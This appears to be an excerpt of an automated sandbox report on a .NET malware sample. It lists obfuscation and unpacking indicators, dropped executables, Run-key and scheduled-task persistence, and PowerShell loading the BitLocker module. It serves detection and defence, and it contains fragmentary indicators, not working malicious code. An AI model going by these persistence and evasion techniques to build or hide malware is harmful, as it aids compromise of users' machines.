Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2392088459.00000000061D0000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.0000000003D82000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs

.Net Code: Type.GetTypeFromHandle(H9epGEWfDRkUgbdFRw3.HahlfeHEne(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(H9epGEWfDRkUgbdFRw3.HahlfeHEne(16777259)),Type.GetTypeFromHandle(H9epGEWfDRkUgbdFRw3.HahlfeHEne(16777263))})

.NET source code contains potential unpacker

Source: Opdxdyeul.exe, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: Yjlwuuys.exe.0.dr, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.Opdxdyeul.exe.5880000.14.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Opdxdyeul.exe.5880000.14.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Opdxdyeul.exe.5880000.14.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Opdxdyeul.exe.5880000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Opdxdyeul.exe.5880000.14.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Opdxdyeul.exe.4801750.7.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Opdxdyeul.exe.61d0000.15.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Opdxdyeul.exe.57c0000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.4782d30.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2382259105.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2655007606.0000000002B38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2818927936.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2369811450.00000000045DC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Opdxdyeul.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 4896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 2168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6684, type: MEMORYSTR

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_057B3BA0 push eax; iretd	0_2_057B3C09
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_057B3B9B push eax; iretd	0_2_057B3C09
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_057B2AA8 push 9005CF41h; iretd	0_2_057B37BA
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DEDB1 push F4062217h; retf	0_2_058DEDBD
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DAF78 pushfd ; retf	0_2_058DAF79
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D36A0 push eax; ret	0_2_058D36A1
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DC181 push 40061BFFh; ret	0_2_058DC18D
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0592ECDB push esp; retf	0_2_0592ECE1
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05A136C1 push es; retf	0_2_05A136C6
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05C735BA push esp; retf	0_2_05C735BF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02AA631D push eax; ret	3_2_02AA6331
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 7_2_00405694 push 38F627BCh; ret	7_2_004056C2
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 7_2_00405695 push 38F627BCh; ret	7_2_004056C2
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 7_2_004056B5 push 38F627BCh; ret	7_2_004056C2
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_059736A0 push eax; ret	8_2_059736A1
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_0597D90B push 1805A210h; retf	8_2_0597D915
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05B236C1 push es; retf	8_2_05B236C6
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05D835BA push esp; retf	8_2_05D835BF
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B36A0 push eax; ret	14_2_054B36A1
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BD1F2 push 18055010h; retf	14_2_054BD1FD
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054BABF6 push ds; iretd	14_2_054BABF7
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054F36C1 push es; retf	14_2_054F36C6
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_0551ECDA push esp; retf	14_2_0551ECE1
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_058535BA push esp; retf	14_2_058535BF

Source: Opdxdyeul.exe	Static PE information: section name: .text entropy: 7.986151828216251
Source: Yjlwuuys.exe.0.dr	Static PE information: section name: .text entropy: 7.986151828216251

Source: 0.2.Opdxdyeul.exe.5670000.12.raw.unpack, SZKmm0wFCY6cibaTtYk.cs	High entropy of concatenated method names: 'U5xwJNHjgu', 'eGOL583vDv6eV0Xgcos', 'EQBehA3y0SCJQUtxeRi', 'rLNC5c3DZYm71LEHWhY', 'BBrjpK31QOmuTSX65hA', 'N0Sy6S3YQTh1vYOPCab', 'PFbEU53BT9Zxb7o4qfN'
Source: 0.2.Opdxdyeul.exe.5670000.12.raw.unpack, SHknnLKkVQZOlnhfd20.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'DpRKLHTunM', 'NtProtectVirtualMemory', 'MwFw6SsCUsdrveWKo86', 'A8xUtXsLfVOZyIGsQWQ', 'g0FFBFsMt3tNFAlLIe4', 'wERZrask88YGlBYJIwK'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, C5ebMMuRsNlcmIWiel.cs	High entropy of concatenated method names: 'ePAChQFuZ', 'OjKLHkeCH', 'ui0FkqmpQ', 'no7ZU9aCx', 'QNTkwSQZC', 'SGtD4rRcCYqOu10eeHN', 'jvLMkLR6IPygvWvgnIJ', 'o69rjbRlfmflIZ1BHWb', 'Hy6ZjHRolpZvXc70ITg', 'axpYKZRIrA2i11GqowY'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, EL3woNX7SvqwyYOXigX.cs	High entropy of concatenated method names: 'IBeXg5IFsc', 'SZiXtULpyQ', 'xKqRr1pIbeYhPfBDu0G', 'jArfx3p8Rx8I7TkZgTT', 'NiuctwpS6aw5w1M9U8c', 'JownqQpa8hXvAPV9XYd', 'fZJ5UcpO9goYx1dtr5Z', 'ILWxv1pTbgb4QeWwMIG', 'mmJDc9p4eZH4Ftt0uPa', 'CYQJ9EpnP2lHtDCNDit'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'faFwlbB75gZ9Qbq445r'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, X9YhOoXlCvwuUuKBlfN.cs	High entropy of concatenated method names: 'BxhXIogdDp', 'wP3NFIbOtANBGWrresJ', 'hK5a4rbTx5xJTEMNHr9', 'BaRXP1b43p4gh8HeGAi', 'aVktwubnvbJARyIxlBV', 'Yn7lbsbmEn4ZWkoXo4Q', 'tUJv5ybdPpRSmg9x5c4', 'GFqqknbPCU0aZIMRxAE', 'yKyxDyb2jAEeL0qNCVb', 'dvYYn7bSMnUMY1vEqDa'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, hCT6oLGrKCKVGxl4OYh.cs	High entropy of concatenated method names: 'BDrGZKRCIL', 'nWc1bx0trsVtK596Eq3', 'atMgrB0ASAg9cxjt0gq', 'pR47fj0RyZnKQHk77Lo', 'YuVAEY00OMAeKJTNtkI', 'gAjFKt034mHq1Nu76nc', 'PdQHEa0jLOljp2Rk0ge', 'bX13jA0syrOLpKMEuMv', 'gcDEUg0pJwtmxGlXKQk', 'GApNWd0bn0IMjx8dR5y'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, dcdPMaXnZ7MtZdbfyYF.cs	High entropy of concatenated method names: 'C8VXdk1KQQ', 'pgPXPFFd0q', 'BjIXqg35m6', 'A4GsYiYKSoQZG9W9M3y', 'vSg5uBYV1yXsUuKUt0U', 'U4dkTeYewajkqsA0gkl', 'QO95rXYwI1qQnyNcuxr', 'vDIsIPYiVVHYXxn2mrF'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, GEuyXOXy8Wo9x3aSRGF.cs	High entropy of concatenated method names: 'LtkX1JUXdX', 'uls15XbjVBvUP5HyT0l', 'pemJJ3bsoDycNMPeXNH', 'bYGq9xbpDJrPwj5gR1V', 'pr5tKgbb4oO2VSaIQJ9', 'sYnRxbbY1rRg3Wy3kng', 'owYb84bBp3AYC44M6CW', 'LxSJfLbv2MnJWZFAHvi', 'zuXuJSbyI4Je2KP4KTI', 'ROpYyZbDeAynliooUfy'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, SZKmm0wFCY6cibaTtYk.cs	High entropy of concatenated method names: 'U5xwJNHjgu', 'eGOL583vDv6eV0Xgcos', 'EQBehA3y0SCJQUtxeRi', 'rLNC5c3DZYm71LEHWhY', 'BBrjpK31QOmuTSX65hA', 'N0Sy6S3YQTh1vYOPCab', 'PFbEU53BT9Zxb7o4qfN'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, IrIkcSNfxCMlOPR9fJ5.cs	High entropy of concatenated method names: 'CZhlFk3cHc', 'NNfgkdB2jjPhomA6PCE', 'DLngYfBqZQahHHTM8ud', 'CQUMDiBx9SfRx2KFoEF', 'OcuaOIBEJytSadOnmAx', 'w9GRjkBd3tL4pyalsCM', 'ANtDvtBPCs3DXCAOggN', 'OiIQF6BzcU0QihSYRLX', 'wcxaMrvUrT6bmHsw9lJ'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, SHknnLKkVQZOlnhfd20.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'DpRKLHTunM', 'NtProtectVirtualMemory', 'MwFw6SsCUsdrveWKo86', 'A8xUtXsLfVOZyIGsQWQ', 'g0FFBFsMt3tNFAlLIe4', 'wERZrask88YGlBYJIwK'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, zgX4SnXMJ0Kx2VM3XgT.cs	High entropy of concatenated method names: 'qLvXCY2lG6', 'U2xg3Zp3mLpgng74pP8', 'WOsOuBpj57tHbpuKMN7', 'zcwJW5psP5b49fhev5v', 'lDYrVyppZ5QA9oWY7WB', 'nD1nXopbyHyrDQC1Lcb', 'tyQANFpRDr9XwAR6PEU', 'LCVradp0DeUFHm4Fm9G'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, H3plplwfk34UZQhFwGE.cs	High entropy of concatenated method names: 'j2yw5YvUGN', 'iSswgj1eXu', 'WeRwtaMVdo', 'pZfwAckp9p', 'pqRwRAP06R', 'qgWmTQ3lcrUDYFoZNFR', 'ePksvJ3o4PjXusQv3XU', 'eGKJgU3Iby6FaiKjVRr', 'dHalCw38bR8IcVe2C6n', 'DjoPV93SPPbbsPvCsd2'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, Y05ySsXZLScAlyS4pdJ.cs	High entropy of concatenated method names: 'eHsXfuxQ2U', 'A4TBFMpHXoR4H5KPKUj', 'e8jS31pcwybe8SiXxpx', 'hLFt1Up6n7fe7bLkNWx', 'ntFRtiplWJdNF7vMZir', 'l0c8GopD9N5FrdSW1TT', 'REfEMHp1f2E82pdgs5c'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, imUVjkNtoE9gOvONSO8.cs	High entropy of concatenated method names: 'onK6Zpvw9ATJGMQVVDJ', 'sTBwVwvKYVlQ44GDUW0', 'INdWUOmfWg', 'J2celcvNFivx3Kg7CGI', 'Df1Sq2vhvID2K7sll4O', 'caZ0qXvWfkSZyflT1Rd', 'apvQCnvueaYQBc27KRm', 'DatotdvMOx5ovSTNuG4', 'F8AGkkvk1UBXJh11XC1', 'sT7htHvCDqT99sAM1Iu'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, PW9fBqw0WfJQ7NeqVMO.cs	High entropy of concatenated method names: 'M4AwjAwNnM', 'jW6wswutow', 'CPGwpMbFTM', 'vyaLt9jJsVvZAZ7tN5I', 'pmM08AjfLBtMOwk0XW6', 'VdRjHvj7sWcHkQbaMg6', 'Jg1wfojFO6BHusrV1s0', 'driDuMjZaaMjB9SeIiv', 'uZur8vj5Cl69mlYVEjC', 'Eb8ywajgwMJQvkZHb8F'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, AFfPH85lbpqSSpdZ8N.cs	High entropy of concatenated method names: 'Jfotw9u0j', 'HntAZKvHC', 'VT90lITHO', 'zT5R4JQvf', 'sLMceGRTa6yussymgs2', 'inq0goR40uE8BdDcghD', 'q8Op3DRnj8WdddbmasH', 'pDCksxRmTxxZspbHSMm', 'qa8tcIRdiy5InDJeAPE', 'Gi3KKSRPILshDGGT3ML'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, JVrTWvX8HYHtGFoTepH.cs	High entropy of concatenated method names: 'OfUXaWEun6', 'V5MXTTRyDe', 'S6aXO9F5IG', 'fcohY1bz1Hs8DsaTYuF', 'E7DvtMbxbpGL6MpLI08', 'gY4dEbbELYX4YY72k2K', 'byJZmAYU4iBKBx7rhB9', 'inRq8uYQNR1nyGlfJ6g', 'wmy4cYYG6yPeZbbJPuU'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, eQYJXeNKRTg3rMH0gLR.cs	High entropy of concatenated method names: 'aFTNiQxgAI', 'nCfNXjkHjr', 'IS0jyWY5qgifErtE6Ak', 'LkcQBLYfh1Q5EniiIuh', 'PtQcuTY7OULA9NCaeok', 'eHFJbLYgGOryeDG1HUU', 'VgTiuDYtgje5lc88MTb', 'qMOOq7YAQGJCdkInjl6', 'VZar7hYRJYSBFW7a9AU', 'xr2rTtY0LQdkq9qMjmI'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, DBr3UWNLG4QXlA1q1lG.cs	High entropy of concatenated method names: 'rOlNFThTSe', 'pe8d9PBeeuqQd1JGXmm', 'GEvfHMBwonc8ugKj4uG', 'wxQElDBKR8Tv70MhLLc', 'F5QEZtBVOTbUFqrIc8T', 'F17xloBGHm9Kjfn5N4y', 'kJJssnB91kFQB5SXpWe'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, IJBuI9WacVgZfHxwObw.cs	High entropy of concatenated method names: 'TcYFM0bg8d', 'EhBFkf3sDn', 'eieFCo2YWc', 'v2IFL3pf6L', 'fPBFr9KOeB', 'HGDFFOoYCe', 'P05FZV2fZA', 'gkTuu9IbUX', 'ggEFJ2BbYO', 'wJjFffHnY3'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, tXU0hUwxHM8K2jK8B6K.cs	High entropy of concatenated method names: 'JRwwzncZ6Z', 'KoXKQcgNk2', 'es1K9Kk1v6', 'bMLKwvGK46', 'KGlKKALu8Q', 'nVGKV8qi64', 'ruuKiw3qK4', 'dUYKXoon7p', 'qBcKNfP9kE', 'nLlKhM16aF'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, FAwvQ0X3xZc2iSt3c2s.cs	High entropy of concatenated method names: 'ifMXbdXDC0', 'VtUXYTYBpX', 'T83XsWDkwY', 'aOmXptOaqu', 'EiXVKXbJ1deFasTgwN6', 'HO42eMbfaZJL5D8SjWq', 'xgxuxvb7ryHb6r64F7f', 'rUcy5Gb5HxWmpndVC4Q', 'pVnEpwbg18wkhmgHcai', 'E93EBAbFgVHvxv7cuny'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, dOfR7WWAAhlkITeWo1Q.cs	High entropy of concatenated method names: 'GxaWDE2vAG', 'tU9W1NnO63', 'q0TWHd8Qxy', 'nMDWc3wVtI', 'sgBW6JdmFE', 'r9BWlkwVws', 'upLWorAaNZ', 'moWWI3QMVP', 'SHUW8Duhhe', 'yWYWSTJ7Wc'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, nReLKdNNBxhdFQgXfQV.cs	High entropy of concatenated method names: 'wSgNWUhH5H', 'jHvbTgYoZNToxeIHEAy', 'psxvdNYIbctS7tBf5G8', 'iK0mkPY8dYxS6QOsGJq', 'DBrSAcYSueyvvXsTowo', 'P1kZmGYa0DJ89GrAC9h', 'BCv9qEYOjmBILvg9V6q', 'whbIvZYTZ2GPTN0uFje', 'juep3ZY4JHGvs0o8lTE', 'pI3K3cYnwZZyrwTyNCn'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, emM8UwNuZMohTFjkd48.cs	High entropy of concatenated method names: 'mt1NkSQ8vi', 'ESpNCmQPDg', 'qwDBEHY2TGCC77iRJ4f', 'ULmLs1Yq7Ue0n8cCi2X', 'iL4XiRYx4E48u6r4IU3', 'uu1ry9YdCUPCIsYZnXP', 'dk1RxuYPO4YLrZ2XlZd', 'wP2MObYEZuJgJAvxaJC', 'HR639sYz1NCot3rT8UF', 'sGjgswBUCTuprQDeRcY'
Source: 0.2.Opdxdyeul.exe.45dc110.5.raw.unpack, K8qS5OXAtdgoRtFisyZ.cs	High entropy of concatenated method names: 'EAUX0P8gu6', 'CqfoHybhyj7Gqe1M3oB', 'BmY1I0bWHJmCt2PQYTl', 'fl6XskbuUES4ifqlV7g', 'JjYspLbM6rgs2mLBhwc', 'dHQfDPbkIGnVHtuioJb', 'fAMk8DbCQRYkjrHB6ZB', 'JZW1E9bLMN4rGtbi8DQ', 'OtOjR8bXEir2gLP4fuS', 'BD400fbNbwMVidWl6Zs'

Source: C:\Users\user\Desktop\Opdxdyeul.exe	File created: C:\ProgramData\colsv\qxdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	File created: C:\ProgramData\tlwghd\flmixjo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	File created: C:\ProgramData\uinetk\wvgk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Opdxdyeul.exe	File created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Opdxdyeul.exe	File created: C:\ProgramData\colsv\qxdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	File created: C:\ProgramData\tlwghd\flmixjo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	File created: C:\ProgramData\uinetk\wvgk.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Opdxdyeul.exe

File created: C:\Windows\Tasks\Test Task17.job

Jump to behavior

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yjlwuuys			Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yjlwuuys			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
